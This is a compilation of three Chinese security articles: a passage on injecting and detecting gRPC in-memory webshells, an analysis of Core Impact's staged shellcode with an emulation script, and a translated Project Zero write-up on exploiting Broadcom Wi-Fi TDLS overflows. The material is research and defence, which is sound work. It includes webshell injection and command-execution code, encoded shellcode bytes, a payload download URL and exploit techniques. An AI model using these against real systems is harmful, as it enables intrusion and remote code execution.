Map methodsMap = (Map) methods.get(registry);
Map<String,Object> newMethodsMap = new HashMap<String,Object>(methodsMap);
for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {
newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);
}
methods.set(registry,Collections.unmodifiableMap(newMethodsMap));
} catch (Exception e) {
e.printStackTrace();
}
}
上面的代码片段只是一个demo版本，具体的实现需要把WebShellServiceGrpc类转成字节码，再Definition到JVM中。
注入完成后，在客户端执行如下代码调用即可：
package com.demo.shell.test;
import com.demo.shell.protocol.WebShellServiceGrpc;
import com.demo.shell.protocol.Webshell;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;
/**
* @author demo
* @date 2022/11/27
*/
public class NsTestShell {
public static void main(String[] args) {
Webshell webshell = Webshell.newBuilder()
.setPwd("x")
.setCmd("calc")
.build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
Webshell s = webShellServiceBlockingStub.exec(webshell);
System.out.println(s.getCmd());
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
channel.shutdown();
}
}
而原本公众号中给出的防御方式是通过RASP技术对动态修改Service对象的行为做出拦截。其实我个人觉得这里不太好埋点，比如我可以对Service的上层对象registry直接做修改，或者我对Services对象的某个ServerServiceDefinition做修改，不做添加而只是修改原来已经存在的Method，操作的对象就不需要再更改Services的值。
### gRPC内存马查杀
我在原先编写的内存马查杀工具MemoryShellHunter添加检测模块：<https://github.com/sf197/MemoryShellHunter>
首先在Agent中的transform方法中用ASM消费所有的类
ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);
reader.accept(visitor, 0);
这里的GrpcClassVisitor就是当前类的父类的接口是否继承自io.grpc.BindableService，如果是，则说明这是一个gRPC实现类，因此当中定义的方法都可以是危险函数，需要进一步使用可达性分析判断是否有危险Sink函数。
package com.websocket.findMemShell;
import java.util.List;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
public class GrpcClassVisitor extends ClassVisitor {
private String ClassName = null;
private List<String> Grpc_Methods_list;
public GrpcClassVisitor(ClassWriter writer,List<String> Grpc_Methods_list) {
super(Opcodes.ASM4, writer);
this.Grpc_Methods_list = Grpc_Methods_list;
}
@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
if(superName.contains("ServiceGrpc")) {
try {
String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\.")).getInterfaces()[0].getName();
if(cls.equals("io.grpc.BindableService")) {
//System.out.println("SuperName Class:"+cls);
this.ClassName = name;
}
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
super.visit(version, access, name, signature, superName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
if(this.ClassName == null) {
return methodVisitor;
}else {
return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);
}
}
class MyMethodVisitor extends MethodVisitor implements Opcodes {
private String MethodName;
private String ClassName;
private List<String> Grpc_Methods_list;
public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List<String> Grpc_Methods_list) {
super(Opcodes.ASM5, mv);
this.MethodName = name;
this.ClassName = ClassName;
this.Grpc_Methods_list = Grpc_Methods_list;
}
@Override
public void visitMethodInsn(final int opcode, final String owner,
final String name, final String desc, final boolean itf) {
if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {
this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);
//System.out.println(this.ClassName+"#"+this.MethodName);
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
}
}
判断函数逻辑：
if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\.", "/"))) {
List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\\.", "/"));
for(String str : list) {
if(dfsSearchSink(str)) {
stack.push(str);
stack.push(cp.getClassName().replaceAll("\\.", "/"));
StringBuilder sb = new StringBuilder();
while(!stack.empty()) {
sb.append("->");
sb.append(stack.pop());
}
System.out.println("Controller CallEdge: "+sb.toString());
break;
}
}
}
这样的好处可以查找出系统中gRPC的内存马。
缺点是在查找gRPC实现类的时候，需要用到当前线程的ClassLoader判断父类是否继承自io.grpc.BindableService，因此攻击的时候只需要更改加载的ClassLoader即可绕过。
这里也是抛砖引玉，如果有更好的检测思路和查杀思路欢迎提交pr：<https://github.com/sf197/MemoryShellHunter>
### Reference
[1].<https://developers.google.com/protocol-buffers>
[2].<https://grpc.io>
[3].<https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ>
[4].<https://www.cnblogs.com/easyidea/p/15767542.html> | 社区文章 |
**作者：WBG
原文链接：<https://mp.weixin.qq.com/s/7onBlm6F674y2RWYdAp_aw>**
关于 Core impact (就是收购 CS 的那家公司的产品)稍微介绍一下吧，Core impact
简单来说就是一款商业渗透测试工具，它不同于普通的RAT，它更像 MSF，自身带有很多 exp 模块，又和 ExploitPack 有些相似，不过
ExploitPack 自身 RAT 属性不强可以说是单纯的 EXP 集成平台包括漏洞利用，漏洞开发，调试一体
### 使用
安装就不说了
打开 Core impact 界面如下
你要先创建一个工作空间（一个渗透项目一个工作空间），需要输入项目名称和设置密码
创建完成后会自动打开工作空间界面如下
可以双击展开 Agents 目录在其中找到 "Package and Register Agent" 模块双击执行设置如下，生成一个 x86 http
分阶段 exe payload
随后在目标机上执行，成功上线
右键目标可以执行各种操作
如果需要执行左边的模块可以直接拖到目标上
凡是执行过的模块都会按照时间顺序排列在右上方，而右下方则是记录相应模块的执行日志，比如我这里选择启动 shell 然后执行 whoami /all
所有输出都将被记录在模块日志中，可以随时可以查看
RPT 这里则是各种向导，辅助你进行信息收集和渗透
比如我们选择 Information Gathering Wizard 然后拖到到目标上执行会让你填写或选择一些参数然后自动开始信息探测
执行完成后可以在右边查看到各种结果
使用介绍这方面就先介绍这么多吧
### Payload 分析
我们分析的 payload 以 x86 http 为例，使用的工具 C32ASM，Cuttter，unicorn，wget，PyCharm
选择 Package and Register Agent 模块生成 payload 具体设置如图
点击 ok 后会启动监听并生成 payload 这里我们选择生成的是一个 x86 http 分阶段 payload
很明显可以看出来 Core impact 生成的 payload 是经过编码器加密过的通过自解密执行，这里为了方便我用 unicorn
写了一个脚本来模拟执行前面的解码器最后把解密后的 shellcode dump 下来
from hexdump import hexdump
from unicorn import *
from unicorn.x86_const import *
X86_CODE32 = bytes.fromhex("E9 62 00 00 00 5B B9 5C 06 00 00 B8 26 BE A5 0E 8B 13 4C 4C 4C 4C 89 0C 24 4C 4C 4C 4C 89 3C 24 4C 4C 4C 4C 89 1C 24 89 D1 89 C7 89 CB 21 F9 F7 D1 09 FB 21 D9 89 CA 8B 1C 24 44 44 44 44 8B 3C 24 44 44 44 44 8B 0C 24 44 44 44 44 89 13 43 43 43 43 49 49 49 49 81 F9 00 00 00 00 0F 85 AE FF FF FF E9 05 00 00 00 E8 99 FF FF FF CE 8C A5 0E 26 D5 C0 7C 48 DB C9 3D 14 90 C1 62 4A 9E E2 6B 52 EE D7 61 45 FF C1 6A 54 DB D6 7D 6A D1 C4 6A 6A D7 C7 7C 47 CC DC 4F 51 CD 97 51 15 8C 8B 6A 4A D2 A5 53 42 35 B8 3E 26 BE A5 85 7D B2 26 CD 2A 37 7F 85 7D BA 9C DD 53 BF 69 85 55 8E 2C E1 4C B3 FC 68 8B B2 85 A0 53 57 47 F9 AD CD BD 83 63 B3 F5 64 28 56 BD 0E 26 BE F5 83 63 A5 F5 64 2A 56 A9 0E 26 BE F5 83 7B 99 F6 F1 F6 2F FF 51 CD .. .. .. ..")
ADDRESS = 0x1000000
STACK_ADDR = 0x0
STACK_SIZE = 1024*1024
print("Emulate i386 code")
try:
# 初始化模拟器
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# 映射内存
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
mu.mem_map(STACK_ADDR, STACK_SIZE)
# 写入shellcode
mu.mem_write(ADDRESS, X86_CODE32)
mu.reg_write(UC_X86_REG_ESP, STACK_ADDR + STACK_SIZE - 1)
mu.emu_start(ADDRESS, ADDRESS + (X86_CODE32[1]+0xA))
print("End of execution")
print(hexdump(mu.mem_read(ADDRESS,len(X86_CODE32))))
f = open('ASM_test_x86.bin', 'ba')
f.write(mu.mem_read(ADDRESS,len(X86_CODE32)))
f.close()
except UcError as e:
print("ERROR: %s" % e)
解密后
到这里 C32ASM 就没办法在处理了因为后面会有很多利用 call pop 这种形式来获取字符串地址所以该换上 Cuttter 了
解密后的 shellcode 开头无非就是找 kernel32.dll 基址然后在找 GetProcAddress 和 LoadLibraryA
这两个函数，都是 shellcode 的经典操作
GetProcAddress 和 LoadLibraryA 获取完成后 jmp 过去开始加载 dll 和获取一些函数地址如 VirtualAlloc ，
InternetOpenA，InternetOpenUrlA 等等。
CS 和 msf 都是通过 api hash 来获取函数地址，Core impact 则是采用在栈中构建字符串然后调用 GetProcAddress
函数获取
函数地址都获取完毕后开始通过 http 请求核心 payload
这里的 http://192.168.1.97:8888/index.php?page=base64 就是请求 payload 的链接，page 后面跟的是
base64 编码后的参数，不太清楚 Core impact 为什么要这样设计，这样搞特征太明显了，这就必须说两句题外话就是 payload
托管问题其实不管是 CS 还是 Core impact 又或者是 msf 我个人都是不建议使用它们自身的 payload 托管，应该根据实际情况自行导出核心
payload 然后进行单独托管放在一个地方不要直接和 C2 服务器放在一起
下载下来的核心 payload
Core impact 返回的核心 payload 是 url 编码的所以在读取完成后还需要对核心 payload 进行解码操作
基本上和 msf 或 cs 的分阶段 payload 没有太大区别都是使用一小段 shellcode 来下载执行核心 payload，不太相同的是 msf
和 cs 的核心 payload 都是由反射 dll 开发而来在进行修补头来实现转成 shellcode，对这个过程有兴趣可以去看看这个项目:
<https://github.com/WBGlIl/ReflectiveDLL_Patch>
之前开源过一个修补反射 dll 头的工具，Core impact 这东西的核心 payload 我看了一下是纯 shellcode 开发的大小差不多在
152kb 左右
### Payload 生成过程
payload 我们分析完了现在我们来分析一下 payload 的生成过程
Core impact 界面部分是由 MFC 开发的，它的功能实现全是通过 python，利用 boost.python 来实现运行 python
脚本，我这里会简单写一下生成的关键部分
基本上我把分阶段 payload 生成分成 3 个部分
#### 第一部分
modules\classic\site-packages\impact\LibEgg\Win32.py
这部分硬编码就是分阶段 payload 最开始的部分用来查找 kernel32.dll 获得 GetProcAddress 和 LoadLibraryA
#### 第二部分
modules\classic\site-packages\impact\LibEgg\HttpTunnelEgg.py
生成分阶段 shellcode 主体部分，查找函数，调用函数通过 http 接收 payload 然后对 payload 进行 url
解码然后执行，这里主要利用 InlineEgg 库实现
<https://www.coresecurity.com/core-labs/open-source-tools/inlineegg-cs>
它的核心 payload 解码器
#### 第三部分
前两个部分加起来生成完整的 shellcode 然后交由第三部分编码器处理进行加密
modules\exploits\site-packages\impact\exploitlib\egg_obfuscator.py
它这个 shellcode 编码器实现在 modules\classic\site-packages\impact\LibEgg\PolymorphicEgg.py基本上就是一些简单的运算，算法不是很难比较简单就是代码比较多所以就不展开写了
### 其他
在分析的过程中还有一个有趣的事情 Core impact 生成的 exe 竟然还带着 pdb 路径根据公开搜索找到了两个相关的 exe
的信息，这点对于反溯源也挺重要的也是提醒各位自己编译东西的时候不必要的信息应该一律不留
### 结尾
Core impact payload 从上面的分析可以看出来和 msf 或 cs 的差别还是挺多的，不过 Core impact 自身 payload
支持的平台倒是挺多的包括 Linux，Mac OS X，OpenBSD，FreeBSD，Windows，等日后有时间再去继续深入分析一下里面部分功能的实现。
* * * | 社区文章 |
# 【技术分享】漏洞挖掘之利用Broadcom的Wi-Fi栈（一）
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero
原文地址：<https://googleprojectzero.blogspot.tw/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】漏洞挖掘之利用Broadcom的Wi-Fi栈（二）**](http://bobao.360.cn/learning/detail/3792.html)
众所周知，平台安全性是复杂系统安全性的一个不可或缺的组成部分，移动设备更是如此。现代移动平台包括多个处理单元，全都精巧地彼此通信。在应用处理器(AP)上运行的代码已得到广泛研究，但对其他组件的审查却很少。
图1
多年来，由于安全人士的持续关注，在应用处理器上运行的代码的防御力得到了加强。但是，攻击者往往会另辟蹊径。提高一个组件的安全性将不可避免地导致一些攻击者开始在别处寻找更容易的进入点。
该博客系列分两部分，我们将探讨由在移动设备上使用的Broadcom Wi-Fi
SoC（系统级芯片）引入的暴露的攻击面。我们将专注于运行安卓的设备（本研究基本上也适用于包括相同的Wi-Fi
SoC的其他系统）。第一篇博文将专注于利用Wi-Fi
SoC本身，我们将发现和利用能让我们在芯片上远程执行代码的漏洞。在第二篇博文中，我们将进一步将我们的权限从SoC提升到操作系统的内核。通过这两篇文章，我们将展示如何在无需用户交互的情况下仅通过Wi-Fi邻近就完全接管设备。
我们将专注于Broadcom（博通）的Wi-Fi SoC，因为其是移动设备上最常见的Wi-Fi芯片组。使用该平台的设备很多，出于本文目的，我们将展示运行安卓7.1.1版NUF26K的完全更新（当时，现已修复）的Nexus
6P的一个远程代码执行漏洞。
**为什么是Wi-Fi？**
在过去十年中，Wi-Fi在移动设备上的使用已变得很普遍。Wi-Fi已渐渐演变为一套强大的规范——一些注重物理层，另一些则侧重于MAC层。为了应对日益增加的复杂性，供应商已经开始生产“FullMAC”Wi-Fi SoC。
本质上，这些是独立执行所有的物理层、MAC层及MAC子层管理实体(MLME)处理，从而使操作系统可以从与Wi-Fi有关的复杂（有时是芯片特定的）功能抽离的小型SoC。Wi-Fi
FullMAC芯片的推出也改善了移动设备的功耗，因为大部分处理是在低功耗SoC而不是耗电量较大的应用处理器上完成的。也许最重要的是，FullMAC芯片更容易集成，原因是其在固件中实施MLME，从而降低了主机端的复杂性。
但Wi-Fi FullMAC芯片的推出也有代价。引入这些新的硬件、运行专有和复杂的代码库可能会削弱设备的整体安全性，并引入可能危及整个系统的漏洞。
图2
**探索平台**
为了开始研究，我们需要找到一些方法来探索Wi-Fi芯片。 幸运的是，赛普拉斯最近收购了Broadcom的无线物联网业务，并发布了许多与Broadcom
Wi-Fi芯片组相关的数据手册。 通过阅读数据手册，我们深入了解了Wi-Fi芯片组背后的硬件架构。
图3
具体而言，我们可以看到使用的是ARM Cortex R4内核，其运行处理帧的所有逻辑。此外，该数据手册显示，ARM内核具有用于保存固件代码的640KB
ROM，以及用于数据处理（例如堆）和存储固件代码补丁的768KB RAM。
要开始分析在ARM内核上运行的代码，我们需要提取ROM的内容，并定位加载到RAM中的数据。
我们先来解决第二个问题——加载到ARM内核的RAM中的数据位于何处？由于该数据不存在于ROM中，因此必须在芯片首次上电时从外部加载。因此，通过读取主机驱动程序中的初始化代码，我们应该可以找到包含RAM内容的文件。实际上，通过驱动程序的代码，我们找到了BCMDHD_FW_PATH配置，其用于表示驱动程序将内容上传到RAM的文件的位置。
那么ROM的内容呢？提取ROM的一种方法是使用主机驱动程序的芯片存储器访问功能（通过SDIO或PCIe上的PIO）直接读取ROM的内容。但是，这样做将需要修改驱动程序，以使我们能够发出转储ROM所需的命令。检索ROM的另一种方法是将我们自己修改的固件文件加载到RAM中，我们将插入一个可用于转储ROM内存范围的小型存根。幸运的是，本文的情况实际上并不需要这些方法，Broadcom提供了一个非常强大的命令行实用程序dhdutil，可用于通过bcmdhd驱动程序与芯片进行交互。
在该实用程序支持的各种功能中，其还允许我们通过发出特殊命令“membytes”直接读取和写入适配器上的内存。由于我们已经知道了ROM的大小（从数据手册中），我们可以直接使用membytes命令来读取ROM的内容。但是，我们还需要先回答最后一个问题——ROM位于哪里？根据有关人员的研究，ROM被加载到地址0x0，RAM被加载到地址0x180000。
最后，把所有这一切放在一起，我们可以从固件文件获取RAM的内容，使用dhdutil转储ROM，并将这两个文件合并成一个文件，然后便可在IDA中开始分析。
图4
**分析固件**
由于可用内存（ROM和RAM）相对较小，Broadcom为了节省内存而进行了极大的努力。首先，他们从二进制文件中删除了符号和大部分字符串。这样做的额外好处是使固件代码的逆向工程稍微更麻烦。他们还专门选择了Thumb-2指令集，这样可以实现更好的代码密度。因此，BCM4358上的ROM镜像的封装非常紧凑，仅包含不到300个未使用的字节。
但是，这还不够。别忘了，RAM必须容纳堆、栈、全局数据结构及ROM功能的所有补丁或修改。这对少得可怜的768KB而言是一个相当高的要求。为了解决这个问题，Broadcom决定将固件初始化期间使用的所有功能放在两个特殊区域。初始化完成后，这些区域被“回收”，随后转换为堆块。此外，堆块散布在RAM中的代码和数据结构之间，因为后者有时有对齐要求（或直接从ROM引用，因此无法移动）。最终的结果是RAM是一堆混乱的堆块、代码及数据结构。
图5
在花了一些时间分析固件后，我们至少可以开始识别一些包含函数名和其他提示的字符串，以帮助我们了解代码库。此外，NexMon研究人员发布了对应于BCM4339固件的收集的符号。我们可以将相同的符号应用于BCM4339的固件，然后使用bindiff关联更新芯片的更新版本的固件的符号名称。
最后还有一个诀窍——除了我们正在分析的FullMAC
SoC外，Broadcom还生产SoftMAC芯片。由于这些SoftMAC芯片不处理MLME层，所以其相应的驱动程序必须执行该处理。因此，许多Broadcom的MLME处理代码都包含在开源SoftMAC驱动程序-brcmsmac中。虽然这并不能帮助我们了解任何芯片特定的功能或更多的内部处理代码，但它似乎与固件的代码有许多相同的实用功能。
**寻找bug**
现在我们已掌握了固件的结构，并且有了分析的手段，我们终于可以开始寻找bug了。 但我们应该从哪里开始呢？
虽然有上文所述的所有技巧，这仍是一个相对较大和不透明的二进制文件，字符串或符号很少。一种可能的方法是测试固件，以便跟踪在接收和处理数据包时所采用的代码路径。Cortex
R4确实有调试寄存器，可用于设置断点和检查各个位置的代码流。或者，我们可以手动定位一组用于从接收到的帧解析和检索信息的函数，并从那里逆向。
这正是熟悉Wi-Fi派上用场之处。Wi-Fi管理帧以小的“标记”数据块（称为信息元素（IE））对大多数信息进行编码。这些标记的数据块为TLV结构，其中标签和长度字段是单字节长。
图6
由于在Wi-Fi帧（数据本身除外）中传输的大部分信息是使用IE进行编码的，所以其是我们逆向工作的良好候选者。此外，由于“标签”值是唯一且标准化的，所以我们可以使用其值来帮助我们熟悉当前处理的代码流。
从brcmsmac驱动程序可以看到，Broadcom使用一个函数从bcm_parse_tlvs帧提取IE。经过简短搜索（通过关联附近的字符串提示），我们在固件的ROM中找到了相同的函数。太好了。
现在我们可以开始交叉引用调用该函数的位置，并逆向每一个调用站点。虽然比逆向固件的每一部分要容易得多，但这仍然需要相当长的时间。
完成所有调用站点的逆向工程后，我发现了一些与处理嵌入在管理帧中的信息元素有关的漏洞。
当连接到支持无线漫游功能（FT或思科的CCKM漫游）的网络时，可以触发其中的两个漏洞。一方面，这些漏洞相对易于利用——是简单的栈溢出。此外，在固件（HNDRTE）上运行的操作系统不使用栈cookie，因此不需要额外的信息泄漏或绕过。
但是，虽然这些漏洞可能很容易利用，但需要一些设置来实现。首先，我们需要广播支持这些功能的Wi-Fi网络。802.11r
FT是一种由hostapd实现的开放标准。相比之下，CCKM是一种专有标准。了解如何模拟CCKM网络很不容易。
另外，我们需要弄清楚哪些设备实际上支持上述功能。Broadcom提供许多可由客户授权的功能——并非所有设备都具有所有功能。
幸运的是，Broadcom使区分每个固件镜像中实际存在哪些功能变得容易。下载到芯片的RAM内容中的最后几个字节包含固件的“版本字符串”。该字符串包含固件编译的日期、芯片的修订版本、固件的版本及一列破折号分隔的“标签”。每个标签代表固件镜像支持的一个功能。例如，以下是Nexus
6P的版本字符串：
图7
802.11r FT功能的存在由“fbt”标签指示。类似地，CCKM的支持由“ccx”标签指示。不幸的是，Nexus
6P似乎并不支持这些功能。事实上，在我自己的Android固件镜像库中快速搜索“ccx”功能（支持CCKM）后发现Nexus设备不支持此功能，但众多三星旗舰设备支持该功能。
那么其他两个漏洞呢？两者均与 隧道直接链路建立(TDLS)的实现有关。TDLS连接允许Wi-Fi网络上的对等体在彼此之间交换数据——不通过接入点(AP)，这样可防止AP拥塞。
固件中对TDLS的支持由“betdls”和“tdls”标签指示。通过搜索我的固件库可以看到，绝大多数设备确实支持TDLS。
此外，TDLS被指定为802.11z标准的一部分。因为可以获得有关TDLS的所有信息，所以我们可以阅读该标准，以便熟悉Broadcom实现中的相关代码路径。作为开放标准，其还受到开源请求者的支持，比如wpa_supplicant。因此，我们可以检查wpa_supplicant中TDLS功能的实现，以进一步提高对固件中相关代码的了解。
最后，正如我们稍后将看到的，触发这两个漏洞可以由Wi-Fi网络上的任何对等体完成，而无需在被攻击设备上进行任何动作。这使探索这些漏洞更有意思。
无论如何，我们都决定利用TDLS漏洞。但是，在我们这样做之前，让我们先花点时间了解一下TDLS和发现的漏洞（如果您已熟悉TDLS，可跳过这一部分）。
**802.11z TDLS 101**
有许多同一Wi-Fi网络上的两个对等体希望在彼此之间传输大量的数据的用例。例如，将视频从您的移动设备投射到Chromecast将需要传输大量数据。在大多数情况下，Chromecast应该是相对靠近投射体。因此，将整个数据流从设备传递到AP（只为随后将其传递到Chromecast）是浪费的。
增加一个额外的跳跃（AP）会增加延迟并降低连接的质量。向AP传递这样大量的数据也会对AP本身造成压力，导致拥塞，并且会降低网络上所有对等体的Wi-Fi连接的质量。
这正是TDLS的用武之地。TDLS旨在提供一种不依赖AP的Wi-Fi网络上的对等通信方式。
**在空中**
我们先熟悉一下TDLS帧的结构。您可能知道，802.11帧使用“标志”字段来指示帧正在传播的“方向”（从客户端到AP、AP到客户端，等等）。TDLS流量选择使用指示Ad-Hoc (IBSS)网络中流量的标志值。
图8
接下来，TDLS帧由特殊的以太类型值0x890D来标识。通过Wi-Fi传输的TDLS帧在“有效载荷类型”字段中使用常数值，表明有效载荷具有以下结构：
图9
TDLS帧的类别也被设置为一个常数值。这使我们只有一个字段来区分不同的TDLS帧类型——“动作代码”。该1字节字段指示我们正在传输的TDLS帧的种类。这反过来控制着接收端解释“有效载荷”的方式。
**高级流**
在两个对等体可以建立连接之前，双方必须先知晓彼此的存在。这称为“发现”阶段。希望在网络上发现支持TDLS的对等体的Wi-Fi客户端可以通过向对等体发送“TDLS发现请求”帧来实现。接收到此帧的支持TDLS的对等体通过发送“TDLS发现响应”帧进行响应。请求和响应使用1字节的“对话令牌”彼此相关。
图10
接下来，对等体可能希望建立连接。为此，其必须执行3次握手。这种握手具有双重目的，首先表示两个对等体之间成功建立了连接，其次是用于导出TDLS对等体密钥（TPK，用于保护对等体之间的TDLS流量）。
图11
最后，创建连接后，两个对等体就可以在彼此之间交换对等流量。当其中一个对等体希望断开连接时，可以通过发送“TDLS断开”帧来实现。在接收到这样的帧后，TDLS对等体将断开连接并释放所有相关资源。
现在我们已对TDLS有了很好的了解，接下来我们来仔细看看手头的漏洞！
**原语**
为了确保在建立和断开阶段传送的消息的完整性，相应的TDLS帧包括消息完整性码(MIC)。对于建立阶段，接收到第二个握手消息（M2）后，双方便可导出TPK。使用TPK，TDLS发起者可以计算第三个握手帧内容的MIC，然后可由TDLS响应者验证。
MIC通过编码在握手帧中的IE的内容计算，如下所示：
图12
同样，断开帧也包括一个MIC，通过一组略微不同的IE计算：
图13
那么我们如何在固件的代码中找到这些计算呢？凑巧，一些指向TDLS的字符串遗留在了固件的ROM中，使我们可以快速定位相关的函数。
在对大部分指向处理TDLS动作帧的流程进行逆向工程后，我们最终到达了负责处理TDLS建立确认(PMK
M3)帧的函数。该函数首先执行一些验证，以确保请求是合法的。其查询内部数据结构，以确保确实正在与请求对等体建立TDLS连接。然后，其验证Link-ID
IE（通过检查其编码的BSSID与当前网络的匹配），并且还验证32字节的发起者随机数（“Snonce”）值（通过将其与存储的初始随机数进行比较）。
建立对请求可能确实是合法的一定程度的置信度后，该函数开始调用一个内部帮助函数，任务是计算MIC并确保其与编码在帧中的一致。固件还包括该函数的名称(“wlc_tdls_cal_mic_chk”)。
对该函数进行逆向工程后，我们得出以下近似高级逻辑：
图14
从上面可以看出，虽然该函数验证RSN IE的长度不超过分配的缓冲区长度（第13行），但其未能验证后续的IE也不会溢出缓冲区。因此，将RSN
IE的长度设置为较大的值将导致Timeout Interval和Fast Transition IE越界复制，从而溢出缓冲区。
图15
例如，假设我们将RSN IE（x）的长度设置为最大可能值224，我们会获得如下元素位置：
图16
在该图示中，橙色字段与溢出“无关”。因为其位于缓存区边界内。红色字段表示我们无法完全控制的值，绿色字段表示完全可控的值。
比如，Timeout Interval
IE在MIC计算之前验证，且仅具有容许值约束集，这使其不可控制。同样，FTIE的标签和长度字段是恒定的，因此是不可控的。最后，32位“Anonce”值由TDLS响应者随机选择，因此其位于我们的影响范围之外。
但情况并非如此严峻。FTIE本身中的几个字段可以任意选择——比如，在握手中的第一个消息期间，“Snonce”值由TLDS发起者选择。此外，FTIE中的“MIC
Control”字段可以自由选择，因为其不是在执行此函数之前验证。
无论如何，现在我们已经对建立阶段的MIC验证进行了审核，让我们将目光转向断开阶段的MIC验证。也许代码也是在那里中断？查看断开阶段的MIC计算(“wlc_tdls_cal_mic_chk”)后，我们得到以下高级逻辑：
图17
再一次直接溢出，没有为确保不超过分配的缓冲区的长度对FT-IE的长度字段进行验证。这意味着通过提供专门设计的FT-IE就可以触发溢出。然而，在触发有漏洞的代码路径之前还是有若干验证，这限制了我们对溢出元素的控制。我们来尝试绘制溢出期间元素的位置：
图18
这似乎更简单——我们不需要担心在溢出之前验证的存储在FTIE中的值，因为其全部放置在缓冲区的范围内。相反，攻击者控制的部分只是不需要进行任何验证的备用数据，因此可以由我们自由选择。也就是说，溢出的程度是非常有限的，我们最多只能多写超过缓冲区范围的25个字节。
**编写利用代码**
研究堆状态
现在我们已了解了手头的原语，是时候来测试我们的假设是否与现实符合了。为此，我们需要一个测试台，使我们能发送专门设计的帧，从而触发溢出。回想一下，wpa_supplicant是一个完全支持TDLS的开源可移植请求者。这使它成为我们研究平台的首选。我们可以使用wpa_supplicant作为基础来设计我们的帧。这样我们就无需重新实现建立和维护TDLS连接所需的所有逻辑。
为了测试这些漏洞，我们将修改wpa_supplicant，以使我们能发送包含过大FTIE的TDLS断开帧。查看wpa_supplicant的代码可快速识别负责生成和发送断开帧的函数wpa_tdls_send_teardown。通过对该函数添加一些小的更改（绿色），我们应该能够在收到断开帧时触发溢出，导致超写25个字节的0xAB：
图19
现在，我们只需要与wpa_supplicant进行交互，以建立和断开与目标设备的TDLS连接。wpa_supplicant支持很多命令接口，包括一个名为wpa_cli的命令行实用程序，这非常方便。此命令行接口还支持若干暴露TDLS功能的命令：
TDLS_DISCOVER – 发送“TDLS发现请求”帧并列出响应
TDLS_SETUP – 建立与具有给定MAC地址的对等体的TDLS连接
TDLS_TEARDOWN – 断开与具有给定MAC地址的对等体的TDLS连接
实际上，在编译支持TDLS
(CONFIG_TDLS)的wpa_supplicant、建立网络、将我们的目标设备和我们的研究平台连接到网络后，我们可以看到发出TDLS_DISCOVER命令是有效的，我们确实可以识别我们的对等体。
图20
我们现在可以发送一个TDLS_SETUP命令，然后发送我们专门设计的TDLS_TEARDOWN。如果一切正常，这应该会触发溢出。然而，这提出了一个略微更微妙的问题——我们如何得知溢出的发生？可能的情况是我们溢出的数据未被使用，或者，当固件崩溃时，其默默重新启动，让我们一无所知。
为了充分回答这个问题，我们需要了解Broadcom堆实现背后的逻辑。深入分析分配算符的逻辑，我们发现其非常简单，其是一个简单的“最适合”分配算符，其执行向前和向后合并，并保持一个空闲块单链表。当分配块时，从最适合空闲块（足够大的最小块）的末端（最高地址）对其进行切取。堆块具有以下结构：
图21
（回想一下，Cortex R4是一款32位ARM处理器，所以所有字节都以低字节序存储）
通过对分配算符的实现进行逆向工程，我们还可以找到指向RAM中第一个空闲块头的指针的位置。将这两个事实结合在一起，我们可以创建一个在给出固件的RAM的转储的情况下可绘制堆的空闲列表的当前状态的实用程序。通过使用dhdutil的“upload”命令可以轻松获取固件的RAM快照。
在写了一个遍历堆的空闲列表并将其内容导出为dot的小型可视化脚本后，我们可以使用graphviz绘制空闲列表的状态，如下所示：
图22
现在我们可以发出专门设计的TDLS_TEARDOWN帧了，立即生成固件RAM的快照，并检查空闲列表是否有任何损坏迹象：
图23
事实上，在断开连接后，空闲列表中的其中一个块的大小突然异常大。回想一下，由于分配算符使用“最适合”，这意味着只要存在其他足够大的空闲块，后续分配将不会被放置在此块中。这也意味着固件不会崩溃，实际上会继续正常运行。如果我们不可视化堆的状态，我们就根本无法确定发生了什么事。
无论如何，现在我们已经确认了溢出事实上已经发生了，现在是转到开发的下一阶段了。我们需要巧妙的工具，以便能够在建立和断开期间监测堆的状态。为此，将固件中的malloc和free函数结合在一起，并追踪其参数和返回值是不错的选择。
首先，我们需要编写一个“补丁程序”，这将使我们可以在给定的RAM驻留函数上插入挂钩。要注意，malloc和free函数都存在于RAM中（它们是RAM的代码块中的第一个函数）。这使我们可以自由地重写其序言，以便为我们自己的代码引入一个分支。我写了一个执行此类挂钩插入的补丁程序，从而可以在调用挂钩函数之前和之后执行小的程序集存根。
简而言之，修补程序是相当标准的 –
